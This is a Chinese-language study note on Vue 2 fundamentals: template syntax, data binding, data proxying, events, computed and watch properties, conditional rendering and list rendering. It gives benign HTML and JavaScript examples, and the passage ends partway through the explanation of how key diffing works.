前端-vue2核心
官网网址Vue2 安装 — Vue.js
搭建环境
第一种方式(刚开是接触Vue)
我们看官网,可以直接在script引入vue版本。这里有两个版本,开发版和生产版本。我们两个都下载。
然后创建一个项目,将下载的生产版本和开发版本粘贴进去。
在创建的初识vue中引入生产版
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>初识Vue</title>
<!-- 引入Vue -->
<script type="text/javascript" src="./js/vue.js"></script>
</head>
<body>
</body>
</html>
然后打开浏览器,会出现两个小提示。
如果想关掉小提示,我们可以去看学习下面的api,里面的全局配置。
然后禁用他,启动的时候就不显示启动提示了。
初识
lived server
我们先安装vscode的一个插件 lived server,他会自动将我们的文件部署在一个5500的服务器,他会自动将我们的最高级的目录作为根目录。也就是vue_basic.
我们可以在根目录下面放一张ico图片来作为浏览器的图标,他会自动访问5500下的faviicon.ico这张图片作为浏览器的图标。
Vue实例
有几个注意的点
1 引入值的插值语法后面会讲,暂时记住{{}}
2 el
属性用于指定 Vue 实例挂载的 DOM 元素。
3.想让Vue工作,就必须创建一个Vue实例,且要传入一个配置对象;
4.root容器里的代码依然符合html规范,只不过混入了一些特殊的Vue语法;
5.root容器里的代码被称为【Vue模板】;
6.Vue实例和容器是一一对应的;
7.真实开发中只有一个Vue实例,并且会配合着组件一起使用;
8.{{xxx}}中的xxx要写js表达式!!!!且xxx可以自动读取到data中的所有属性;
9.一旦data中的数据发生改变,那么页面中用到该数据的地方也会自动更新;
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>初识Vue</title>
<!-- 引入Vue -->
<script type="text/javascript" src="./js/vue.js"></script>
</head>
<body>
<div id="root">
<h1>
{{name}}真帅
</h1>
</div>
<script type="text/javascript">
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
new Vue({
el: '#root',
data: {
name: 'cjx'
}
})
</script>
</body>
</html>
js表达式 和 js代码(语句)
注意区分:js表达式 和 js代码(语句)
1.表达式:一个表达式会产生一个值,可以放在任何一个需要值的地方:
(1). a
(2). a+b
(3). demo(1)
(4). x === y ? 'a' : 'b'
2.js代码(语句)
(1). if(){}
(2). for(){}
Vue模板语法
Vue模板语法有2大类:
1.插值语法:
功能:用于解析标签体内容。
写法:{{xxx}},xxx是js表达式,且可以直接读取到data中的所有属性。
2.指令语法:
功能:用于解析标签(包括:标签属性、标签体内容、绑定事件.....)。
举例:v-bind:href="xxx" 或 简写为 :href="xxx",xxx同样要写js表达式, 且可以直接读取到data中的所有属性。
备注:Vue中有很多的指令,且形式都是:v-????,此处我们只是拿v-bind举个例子。
例子
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>模板语法</title>
<!-- 引入Vue -->
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
-->
<!-- 准备好一个容器-->
<div id="root">
<h1>插值语法</h1>
<h3>你好,{{name}}</h3>
<hr />
<h1>指令语法</h1>
<a v-bind:href="school.url.toUpperCase()" x="hello">点我去{{school.name}}学习1</a>
<a :href="school.url" x="hello">点我去{{school.name}}学习2</a>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
new Vue({
el: '#root',
data: {
name: 'jack',
school: {
name: '尚硅谷',
url: 'http://www.atguigu.com',
}
}
})
</script>
</html>
数据绑定(v-model v-bind)
讲解:
Vue中有2种数据绑定的方式:
1.单向绑定(v-bind):数据只能从data流向页面。
2.双向绑定(v-model):数据不仅能从data流向页面,还可以从页面流向data。
备注:
1.双向绑定一般都应用在表单类元素上(如:input、select等)
2.v-model:value 可以简写为 v-model,因为v-model默认收集的就是value值。
例子
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>数据绑定</title>
<!-- 引入Vue -->
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!-- 准备好一个容器-->
<div id="root">
<!-- 普通写法 -->
<!-- 单向数据绑定:<input type="text" v-bind:value="name"><br/>
双向数据绑定:<input type="text" v-model:value="name"><br/> -->
<!-- 简写 -->
单向数据绑定:<input type="text" :value="name"><br/>
双向数据绑定:<input type="text" v-model="name"><br/>
<!-- 如下代码是错误的,因为v-model只能应用在表单类元素(输入类元素)上 -->
<!-- <h2 v-model:x="name">你好啊</h2> -->
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
new Vue({
el:'#root',
data:{
name:'尚硅谷'
}
})
</script>
</html>
v-model
这个指令要注意一下几点
若:<input type="text"/>,则v-model收集的是value值,用户输入的就是value值。
若:<input type="radio"/>,则v-model收集的是value值,且要给标签配置value值。
若:<input type="checkbox"/>
1.没有配置input的value属性,那么收集的就是checked(勾选 or 未勾选,是布尔值)
2.配置input的value属性:
(1)v-model的初始值是非数组,那么收集的就是checked(勾选 or 未勾选,是布尔值)
(2)v-model的初始值是数组,那么收集的的就是value组成的数组
备注:v-model的三个修饰符:
azy:失去焦点再收集数据
number:输入字符串转为有效的数字
trim:输入首尾空格过滤
实例
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>收集表单数据</title>
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!-- 准备好一个容器-->
<div id="root">
<form @submit.prevent="demo">
账号:<input type="text" v-model.trim="userInfo.account"> <br/><br/>
密码:<input type="password" v-model="userInfo.password"> <br/><br/>
年龄:<input type="number" v-model.number="userInfo.age"> <br/><br/>
性别:
男<input type="radio" name="sex" v-model="userInfo.sex" value="male">
女<input type="radio" name="sex" v-model="userInfo.sex" value="female"> <br/><br/>
爱好:
学习<input type="checkbox" v-model="userInfo.hobby" value="study">
打游戏<input type="checkbox" v-model="userInfo.hobby" value="game">
吃饭<input type="checkbox" v-model="userInfo.hobby" value="eat">
<br/><br/>
所属校区
<select v-model="userInfo.city">
<option value="">请选择校区</option>
<option value="beijing">北京</option>
<option value="shanghai">上海</option>
<option value="shenzhen">深圳</option>
<option value="wuhan">武汉</option>
</select>
<br/><br/>
其他信息:
<textarea v-model.lazy="userInfo.other"></textarea> <br/><br/>
<input type="checkbox" v-model="userInfo.agree">阅读并接受<a href="http://www.atguigu.com">《用户协议》</a>
<button>提交</button>
</form>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false
new Vue({
el:'#root',
data:{
userInfo:{
account:'',
password:'',
age:18,
sex:'female',
hobby:[],
city:'beijing',
other:'',
agree:''
}
},
methods: {
demo(){
console.log(JSON.stringify(this.userInfo))
}
}
})
</script>
</html>
效果
el和data的两种写法
1.el有2种写法
(1).new Vue时候配置el属性。
(2).先创建Vue实例,随后再通过vm.$mount('#root')指定el的值。
2.data有2种写法
(1).对象式
(2).函数式
3.一个重要的原则:由Vue管理的函数,一定不要写箭头函数,一旦写了箭头函数,this就不再是Vue实例了。
例子
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>el与data的两种写法</title>
<!-- 引入Vue -->
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!-- 准备好一个容器-->
<div id="root">
<h1>你好,{{name}}</h1>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
//el的两种写法
/* const v = new Vue({
//el:'#root', //第一种写法
data:{
name:'尚硅谷'
}
})
console.log(v)
v.$mount('#root') //第二种写法 */
//data的两种写法
new Vue({
el:'#root',
//data的第一种写法:对象式
/* data:{
name:'尚硅谷'
} */
//data的第二种写法:函数式
data(){
console.log('@@@',this) //此处的this是Vue实例对象
return{
name:'尚硅谷'
}
}
})
</script>
</html>
MVVM模型
MVVM模型
1. M:模型(Model) :data中的数据
2. V:视图(View) :模板代码
3. VM:视图模型(ViewModel):Vue实例,以后Vue实例都说为vm,也就是vm的由来
观察发现:
1.data中所有的属性,最后都出现在了vm身上。
2.vm身上所有的属性 及 Vue原型上所有属性,在Vue模板中都可以直接使用。
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>理解MVVM</title>
<!-- 引入Vue -->
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!-- 准备好一个容器-->
<div id="root">
<h1>学校名称:{{name}}</h1>
<h1>学校地址:{{address}}</h1>
<!-- <h1>测试一下1:{{1+1}}</h1>
<h1>测试一下2:{{$options}}</h1>
<h1>测试一下3:{{$emit}}</h1>
<h1>测试一下4:{{_c}}</h1> -->
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
const vm = new Vue({
el:'#root',
data:{
name:'尚硅谷',
address:'北京',
}
})
console.log(vm)
</script>
</html>
vm中的属性
也就是说,我们再明确一下插值语法中可用到的东西,只要是vm及原型上有的都可以用到。
我们看上面的代码里面的vm实例。里面已“$”开头的属性是Vue给予程序员使用的,“_"开头的是我们不能用的,是Vue自己用的,是原生的
我们在data中定义的数据也在vm上。数据代理我们会详细讲。
数据代理
Object.defineproperty
Object.defineProperty
是 JavaScript 中的一个方法,用于直接在一个对象上定义一个新属性,或者修改一个对象的现有属性,并返回该对象。它的语法如下:
Object.defineProperty(obj, prop, descriptor)
-
obj
:要在其上定义属性的对象。 -
prop
:要定义或修改的属性的名称。 -
descriptor
:将被定义或修改的属性描述符。
作用
-
定义新属性:可以为对象添加一个新属性,并指定该属性的特性(如是否可读、可写、可枚举等)。
-
修改现有属性:可以修改对象中已存在的属性的特性。
属性描述符
属性描述符有两种类型:
-
数据描述符:描述一个具有值的属性,包括以下键值:
-
value
:属性的值,默认为undefined
。 -
writable
:布尔值,表示属性值是否可以被改变,默认为false
。 -
enumerable
:布尔值,表示属性是否可枚举(即是否可以通过for...in
循环或Object.keys()
等方法被遍历到),默认为false
。 -
configurable
:布尔值,表示属性是否可以被删除或修改其描述符(除了value
和writable
),默认为false
。
-
-
访问器描述符:描述一个通过 getter 和 setter 方法访问的属性,包括以下键值:
-
get
:一个函数,当访问该属性时被调用,返回值作为属性值。 -
set
:一个函数,当设置该属性值时被调用,接收一个参数作为新值。 -
enumerable
和configurable
的含义与数据描述符相同。
-
一个对象的属性不能同时是数据描述符和访问器描述符,必须选择其中一种。
示例
定义新属性
let obj = {};
Object.defineProperty(obj, "name", {
value: "Kimi",
writable: false,
enumerable: true,
configurable: false
});
console.log(obj.name); // 输出:Kimi
obj.name = "Moonshot"; // 不会改变,因为 writable 为 false
console.log(obj.name); // 输出:Kimi
修改现有属性
let obj = { name: "Kimi" };
Object.defineProperty(obj, "name", {
writable: false
});
obj.name = "Moonshot"; // 不会改变,因为 writable 已被设置为 false
console.log(obj.name); // 输出:Kimi
getter setter
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>回顾Object.defineproperty方法</title>
</head>
<body>
<script type="text/javascript" >
let number = 18
let person = {
name:'张三',
sex:'男',
}
Object.defineProperty(person,'age',{
//当有人读取person的age属性时,get函数(getter)就会被调用,且返回值就是age的值
get(){
console.log('有人读取age属性了')
return number
},
//当有人修改person的age属性时,set函数(setter)就会被调用,且会收到修改的具体值
set(value){
console.log('有人修改了age属性,且值是',value)
number = value
}
})
// console.log(Object.keys(person))
console.log(person)
</script>
</body>
</html>
数据代理
数据代理:通过一个对象代理对另一个对象中属性的操作(读/写)
在下面实例中,定义了两个对象,并通过defineProperty方法为obj2添加了一个属性,并为这个x属性添加getter setter方法。
这个例子,就是通过obj2的x代理obj中x,实现通过一个对象代理对另一个对象中属性的操作(读/V写)。
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>何为数据代理</title>
</head>
<body>
<script type="text/javascript" >
let obj = {x:100}
let obj2 = {y:200}
Object.defineProperty(obj2,'x',{
get(){
return obj.x
},
set(value){
obj.x = value
}
})
</script>
</body>
</html>
Vue的数据代理
1.Vue中的数据代理:通过vm对象来代理data对象中属性的操作(读/写)
2.Vue中数据代理的好处:更加方便的操作data中的数据
3.基本原理:通过Object.defineProperty()把data对象中所有属性添加到vm上。
为每一个添加到vm上的属性,都指定一个getter/setter。
在getter/setter内部去操作(读/写)data中对应的属性。
例子
可以看看下面的代码,进入F12去看Vue实例里面有什么
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>Vue中的数据代理</title>
<!-- 引入Vue -->
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!-- 准备好一个容器-->
<div id="root">
<h2>学校名称:{{name}}</h2>
<h2>学校地址:{{address}}</h2>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
const vm = new Vue({
el:'#root',
data:{
name:'尚硅谷',
address:'宏福科技园'
}
})
</script>
</html>
vm代理对象
我们可以看到vm对象来代理data对象中属性的操作(读/写),我们定义的address和name也在vm中管理。
address和name也使用了getter和setter,当我们展开省略号去看值的时候实际上是调用两address的getter方法
事件处理
事件的基本使用(v-on)
事件的基本使用:
1.使用v-on:xxx 或 @xxx 绑定事件,其中xxx是事件名;
2.事件的回调需要配置在methods对象中,最终会在vm上;
3.methods中配置的函数,不要用箭头函数!否则this就不是vm了;
4.methods中配置的函数,都是被Vue所管理的函数,this的指向是vm 或 组件实例对象;
5.@click="demo" 和 @click="demo($event)" 效果一致,但后者可以传参;并且,如果想要传参传事件本身,用$event传。
实战:
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>事件的基本使用</title>
<!-- 引入Vue -->
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!-- 准备好一个容器-->
<div id="root">
<h2>欢迎来到{{name}}学习</h2>
<!-- <button v-on:click="showInfo">点我提示信息</button> -->
<button @click="showInfo1">点我提示信息1(不传参)</button>
<button @click="showInfo2($event,66)">点我提示信息2(传参)</button>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
const vm = new Vue({
el:'#root',
data:{
name:'尚硅谷',
},
methods:{
showInfo1(event){
// console.log(event.target.innerText)
// console.log(this) //此处的this是vm
alert('同学你好!')
},
showInfo2(event,number){
console.log(event,number)
// console.log(event.target.innerText)
// console.log(this) //此处的this是vm
alert('同学你好!!')
}
}
})
</script>
</html>
注意!!!
methods里面不做数据代理,只有data里面会默认做数据代理!!!
事件修饰符
Vue中的事件修饰符:
1.prevent:阻止默认事件(常用);
2.stop:阻止事件冒泡(常用);
3.once:事件只触发一次(常用);
4.capture:使用事件的捕获模式;允许绑定了捕获机制的元素的方法先执行
5.self:只有event.target是当前操作的元素时才触发事件;
6.passive:事件的默认行为立即执行,无需等待事件回调执行完毕;
还有一点就是,修饰符号可以连着写,可以同时实现多个修饰符的功能。
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>事件修饰符</title>
<!-- 引入Vue -->
<script type="text/javascript" src="../js/vue.js"></script>
<style>
*{
margin-top: 20px;
}
.demo1{
height: 50px;
background-color: skyblue;
}
.box1{
padding: 5px;
background-color: skyblue;
}
.box2{
padding: 5px;
background-color: orange;
}
.list{
width: 200px;
height: 200px;
background-color: peru;
overflow: auto;
}
li{
height: 100px;
}
</style>
</head>
<body>
<!-- 准备好一个容器-->
<div id="root">
<h2>欢迎来到{{name}}学习</h2>
<!-- 阻止默认事件(常用) -->
<a href="http://www.atguigu.com" @click.prevent="showInfo">点我提示信息</a>
<!-- 阻止事件冒泡(常用) -->
<div class="demo1" @click="showInfo">
<button @click.stop="showInfo">点我提示信息</button>
<!-- 修饰符可以连续写 -->
<!-- <a href="http://www.atguigu.com" @click.prevent.stop="showInfo">点我提示信息</a> -->
</div>
<!-- 事件只触发一次(常用) -->
<button @click.once="showInfo">点我提示信息</button>
<!-- 使用事件的捕获模式 -->
<div class="box1" @click.capture="showMsg(1)">
div1
<div class="box2" @click="showMsg(2)">
div2
</div>
</div>
<!-- 只有event.target是当前操作的元素时才触发事件; -->
<div class="demo1" @click.self="showInfo">
<button @click="showInfo">点我提示信息</button>
</div>
<!-- 事件的默认行为立即执行,无需等待事件回调执行完毕; -->
<ul @wheel.passive="demo" class="list">
<li>1</li>
<li>2</li>
<li>3</li>
<li>4</li>
</ul>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
new Vue({
el:'#root',
data:{
name:'尚硅谷'
},
methods:{
showInfo(e){
alert('同学你好!')
// console.log(e.target)
},
showMsg(msg){
console.log(msg)
},
demo(){
for (let i = 0; i < 100000; i++) {
console.log('#')
}
console.log('累坏了')
}
}
})
</script>
</html>
键盘事件
1. 常用按键别名
Vue 提供了一些常用的按键别名,可以直接使用这些别名来绑定事件处理器。以下是一些常见的按键别名:
其中,tab因为他默认行为是将光标从当前的元素上转换,并且tab按下就会出发,所以keyup对其失效。
按键别名 | 对应按键 |
---|---|
enter | 回车键 |
delete | 删除键(包括“删除”和“退格”键) |
esc | 退出键 |
space | 空格键 |
tab | 换行键(必须配合 keydown 使用) |
up | 上箭头键 |
down | 下箭头键 |
left | 左箭头键 |
right | 右箭头键 |
2. 语法
Vue 中可以使用 v-on
或 @
来绑定键盘事件。以下是常见的语法:
绑定 keyup
事件:
<input v-on:keyup.enter="handleEnter" />
<input @keyup.enter="handleEnter" />
绑定 keydown
事件:(一般都用这个)
<input v-on:keydown.delete="handleDelete" />
<input @keydown.delete="handleDelete" />
3. 未提供别名的按键
对于 Vue 未提供别名的按键,可以使用按键原始的 key
值去绑定,但需要注意将 key
值转换为 kebab-case(短横线命名)。
例如,绑定 F1
键(key
值为 "F1"
):
<input @keydown.f1="handleF1" />
4. 系统修饰键
Vue 提供了 ctrl
、alt
、shift
和 meta
等系统修饰键的别名。这些修饰键的用法如下:
配合 keyup
使用: 按下修饰键的同时,再按下其他键,随后释放其他键,事件才被触发。
<input @keyup.ctrl="handleCtrlEnter" />
配合 keydown
使用: 正常触发事件。
<input @keydown.ctrl="handleCtrlEnter" />
5. 使用 keyCode
虽然 Vue 推荐使用按键别名,但也可以使用 keyCode
去指定具体的按键(不推荐,因为 keyCode
已被废弃)。
例如,绑定 F1
键(keyCode
为 112
):
<input @keydown="handleKeydown" />
methods: {
handleKeydown(event) {
if (event.keyCode === 112) {
this.handleF1();
}
}
}
6. 自定义按键别名
可以通过 Vue.config.keyCodes
自定义按键别名。
计算属性
完整写法
就是拿着已经得到的属性去进行加工 去计算 得到一个新的属性 这就是计算属性
1.定义:要用的属性不存在,要通过已有属性计算得来。
2.原理:底层借助了Objcet.defineproperty方法提供的getter和setter。
3.get函数什么时候执行?
(1).初次读取时会执行一次。
(2).当依赖的数据发生改变时会被再次调用。
4.优势:与methods实现相比,内部有缓存机制(复用),效率更高,调试方便。
5.备注:
1.计算属性最终会出现在vm上,直接读取使用即可。
2.如果计算属性要被修改,那必须写set函数去响应修改,且set中要引起计算时依赖的数据发生改变。
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>姓名案例_计算属性实现</title>
<!-- 引入Vue -->
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!-- 准备好一个容器-->
<div id="root">
姓:<input type="text" v-model="firstName"> <br/><br/>
名:<input type="text" v-model="lastName"> <br/><br/>
测试:<input type="text" v-model="x"> <br/><br/>
全名:<span>{{fullName}}</span> <br/><br/>
<!-- 全名:<span>{{fullName}}</span> <br/><br/>
全名:<span>{{fullName}}</span> <br/><br/>
全名:<span>{{fullName}}</span> -->
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
const vm = new Vue({
el:'#root',
data:{
firstName:'张',
lastName:'三',
},
methods: {
},
computed:{
fullName:{
get(){
console.log('get被调用了')
// console.log(this) //此处的this是vm
return this.firstName + '-' + this.lastName
},
//set什么时候调用? 当fullName被修改时。
set(value){
console.log('set',value)
const arr = value.split('-')
this.firstName = arr[0]
this.lastName = arr[1]
}
}
}
})
</script>
</html>
简写
简写的时候。默认是没有setter方法的,只有getter方法。所以函数是给vm调用用来计算fullName属性的。
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>姓名案例_计算属性实现</title>
<!-- 引入Vue -->
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!-- 准备好一个容器-->
<div id="root">
姓:<input type="text" v-model="firstName"> <br/><br/>
名:<input type="text" v-model="lastName"> <br/><br/>
全名:<span>{{fullName}}</span> <br/><br/>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
const vm = new Vue({
el:'#root',
data:{
firstName:'张',
lastName:'三',
},
computed:{
//完整写法
/* fullName:{
get(){
console.log('get被调用了')
return this.firstName + '-' + this.lastName
},
set(value){
console.log('set',value)
const arr = value.split('-')
this.firstName = arr[0]
this.lastName = arr[1]
}
} */
//简写
fullName(){
console.log('get被调用了')
return this.firstName + '-' + this.lastName
}
}
})
</script>
</html>
监视属性
原始完整实现
监视属性watch:
1.当被监视的属性变化时, 回调函数自动调用, 进行相关操作
2.监视的属性必须存在,才能进行监视!!
3.监视的两种写法:
(1).new Vue时传入watch配置
(2).通过vm.$watch监视
watch配置1:immediate=true 代表 初始化时让handler调用一下
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>天气案例_监视属性</title>
<!-- 引入Vue -->
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!-- 准备好一个容器-->
<div id="root">
<h2>今天天气很{{info}}</h2>
<button @click="changeWeather">切换天气</button>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
const vm = new Vue({
el:'#root',
data:{
isHot:true,
},
computed:{
info(){
return this.isHot ? '炎热' : '凉爽'
}
},
methods: {
changeWeather(){
this.isHot = !this.isHot
}
},
/* watch:{
isHot:{
immediate:true, //初始化时让handler调用一下
//handler什么时候调用?当isHot发生改变时。
handler(newValue,oldValue){
console.log('isHot被修改了',newValue,oldValue)
}
}
} */
})
vm.$watch('isHot',{
immediate:true, //初始化时让handler调用一下
//handler什么时候调用?当isHot发生改变时。
handler(newValue,oldValue){
console.log('isHot被修改了',newValue,oldValue)
}
})
</script>
</html>
深度监视
深度监视:
(1).Vue中的watch默认不监测对象内部值的改变(一层)。
(2).配置deep:true可以监测对象内部值改变(多层)。
备注:
(1).Vue自身可以监测对象内部值的改变,但Vue提供的watch默认不可以!
(2).使用watch时根据数据的具体结构,决定是否采用深度监视。
watch配置2:eep:true可以监测对象内部值改变(多层)
可以监视里面的一个元素,也可以监视里面的所有元素
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>天气案例_深度监视</title>
<!-- 引入Vue -->
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!-- 准备好一个容器-->
<div id="root">
<h2>今天天气很{{info}}</h2>
<button @click="changeWeather">切换天气</button>
<hr/>
<h3>a的值是:{{numbers.a}}</h3>
<button @click="numbers.a++">点我让a+1</button>
<h3>b的值是:{{numbers.b}}</h3>
<button @click="numbers.b++">点我让b+1</button>
<button @click="numbers = {a:666,b:888}">彻底替换掉numbers</button>
{{numbers.c.d.e}}
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
const vm = new Vue({
el:'#root',
data:{
isHot:true,
numbers:{
a:1,
b:1,
c:{
d:{
e:100
}
}
}
},
computed:{
info(){
return this.isHot ? '炎热' : '凉爽'
}
},
methods: {
changeWeather(){
this.isHot = !this.isHot
}
},
watch:{
isHot:{
// immediate:true, //初始化时让handler调用一下
//handler什么时候调用?当isHot发生改变时。
handler(newValue,oldValue){
console.log('isHot被修改了',newValue,oldValue)
}
},
//监视多级结构中某个属性的变化
/* 'numbers.a':{
handler(){
console.log('a被改变了')
}
} */
//监视多级结构中所有属性的变化
numbers:{
deep:true,
handler(){
console.log('numbers改变了')
}
}
}
})
</script>
</html>
监视简写
语法:
new Vue({
data: {
count: 0
},
watch: {
count(newVal, oldVal) {
console.log(`Count changed from ${oldVal} to ${newVal}`);
}
}
});
具体案例
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>天气案例_监视属性_简写</title>
<!-- 引入Vue -->
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!-- 准备好一个容器-->
<div id="root">
<h2>今天天气很{{info}}</h2>
<button @click="changeWeather">切换天气</button>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
const vm = new Vue({
el: '#root',
data: {
isHot: true,
},
computed: {
info() {
return this.isHot ? '炎热' : '凉爽'
}
},
methods: {
changeWeather() {
this.isHot = !this.isHot
}
},
watch: {
//正常写法
/* isHot:{
// immediate:true, //初始化时让handler调用一下
// deep:true,//深度监视
handler(newValue,oldValue){
console.log('isHot被修改了',newValue,oldValue)
}
}, */
//简写
isHot(newValue,oldValue){
console.log('isHot被修改了',newValue,oldValue,this)
}
}
})
//正常写法
/* vm.$watch('isHot',{
immediate:true, //初始化时让handler调用一下
deep:true,//深度监视
handler(newValue,oldValue){
console.log('isHot被修改了',newValue,oldValue)
}
}) */
//简写
// vm.$watch('isHot', (newValue, oldValue) => {
// console.log('isHot被修改了', newValue, oldValue, this)
// })
</script>
</html>
效果:
条件渲染(v-if和v-show)
教学
在 Vue.js 中,v-if
和 v-show
都是用于控制元素的显示和隐藏的指令,但它们在实现方式和性能表现上有一些区别。以下是它们的详细介绍和对比。
1. v-if
作用
v-if
是一个动态指令,用于条件性地渲染一块内容。它根据表达式的真假值来决定是否渲染对应的元素。
语法
<div v-if="isVisible">This will be rendered if isVisible is true.</div>
特点
-
动态渲染:当表达式的值为
false
时,对应的元素不会被渲染到 DOM 中。 -
性能开销:由于
v-if
会根据条件动态地创建或销毁元素,因此在切换时会有一定的性能开销。 -
适合场景:当条件很少改变时,使用
v-if
更合适,因为它可以减少不必要的 DOM 操作。
2. v-show
作用
v-show
也是一个动态指令,用于条件性地显示或隐藏元素。它通过设置元素的 CSS 属性 display
来控制显示和隐藏。
语法
<div v-show="isVisible">This will be shown or hidden based on isVisible.</div>
特点
-
CSS 控制:
v-show
只是简单地切换元素的display
属性,不会影响 DOM 的结构。 -
性能优势:由于
v-show
不会创建或销毁元素,因此在频繁切换时性能更好。 -
适合场景:当需要频繁切换元素的显示和隐藏时,使用
v-show
更合适。
3. v-if
和 v-show
的对比
特性 | v-if | v-show |
---|---|---|
渲染方式 | 动态渲染,根据条件决定是否渲染到 DOM | 始终渲染到 DOM,通过 CSS 的 display 属性控制显示和隐藏 |
性能开销 | 切换时有性能开销,因为需要创建或销毁元素 | 切换时性能更好,因为只是切换 CSS 属性 |
适合场景 | 条件很少改变,不需要频繁切换显示和隐藏 | 需要频繁切换显示和隐藏 |
初始渲染 | 如果初始值为 false ,则不会渲染到 DOM | 始终渲染到 DOM,初始值为 false 时会隐藏 |
4. v-if扩展
同时还有
(1).v-if="表达式"
(2).v-else-if="表达式"
(3).v-else="表达式"
注意:v-if可以和:v-else-if、v-else一起使用,但要求结构不能被“打断”,就是说if和elseif或者else中间不能出现其他东西,if的语句必须连在一起。
案例
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>条件渲染</title>
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!-- 准备好一个容器-->
<div id="root">
<h2>当前的n值是:{{n}}</h2>
<button @click="n++">点我n+1</button>
<!-- 使用v-show做条件渲染 -->
<!-- <h2 v-show="false">欢迎来到{{name}}</h2> -->
<!-- <h2 v-show="1 === 1">欢迎来到{{name}}</h2> -->
<!-- 使用v-if做条件渲染 -->
<!-- <h2 v-if="false">欢迎来到{{name}}</h2> -->
<!-- <h2 v-if="1 === 1">欢迎来到{{name}}</h2> -->
<!-- v-else和v-else-if -->
<!-- <div v-if="n === 1">Angular</div>
<div v-else-if="n === 2">React</div>
<div v-else-if="n === 3">Vue</div>
<div v-else>哈哈</div> -->
<!-- v-if与template的配合使用 -->
<template v-if="n === 1">
<h2>你好</h2>
<h2>尚硅谷</h2>
<h2>北京</h2>
</template>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false
const vm = new Vue({
el:'#root',
data:{
name:'尚硅谷',
n:0
}
})
</script>
</html>
列表渲染
基本列表
v-for指令:
1.用于展示列表数据
2.语法:v-for="(item, index) in xxx" :key="yyy"
3.可遍历:数组、对象、字符串(用的很少)、指定次数(用的很少)
案例
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>基本列表</title>
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!-- 准备好一个容器-->
<div id="root">
<!-- 遍历数组 -->
<h2>人员列表(遍历数组)</h2>
<ul>
<li v-for="(p,index) of persons" :key="index">
{{p.name}}-{{p.age}}
</li>
</ul>
<!-- 遍历对象 -->
<h2>汽车信息(遍历对象)</h2>
<ul>
<li v-for="(value,k) of car" :key="k">
{{k}}-{{value}}
</li>
</ul>
<!-- 遍历字符串 -->
<h2>测试遍历字符串(用得少)</h2>
<ul>
<li v-for="(char,index) of str" :key="index">
{{char}}-{{index}}
</li>
</ul>
<!-- 遍历指定次数 -->
<h2>测试遍历指定次数(用得少)</h2>
<ul>
<li v-for="(number,index) of 5" :key="index">
{{index}}-{{number}}
</li>
</ul>
</div>
<script type="text/javascript">
Vue.config.productionTip = false
new Vue({
el:'#root',
data:{
persons:[
{id:'001',name:'张三',age:18},
{id:'002',name:'李四',age:19},
{id:'003',name:'王五',age:20}
],
car:{
name:'奥迪A8',
price:'70万',
color:'黑色'
},
str:'hello'
}
})
</script>
</html>
效果:
key原理
1. 虚拟DOM中key的作用:
key是虚拟DOM对象的标识,当数据发生变化时,Vue会根据【新数据】生成【新的虚拟DOM】,
随后Vue进行【新虚拟DOM】与【旧虚拟DOM】的差异比较,比较规则如下:
2.对比规则:
(1).旧虚拟DOM中找到了与新虚拟DOM相同的key:
①.若虚拟DOM中内容没变, 直接使用之前的真实DOM!
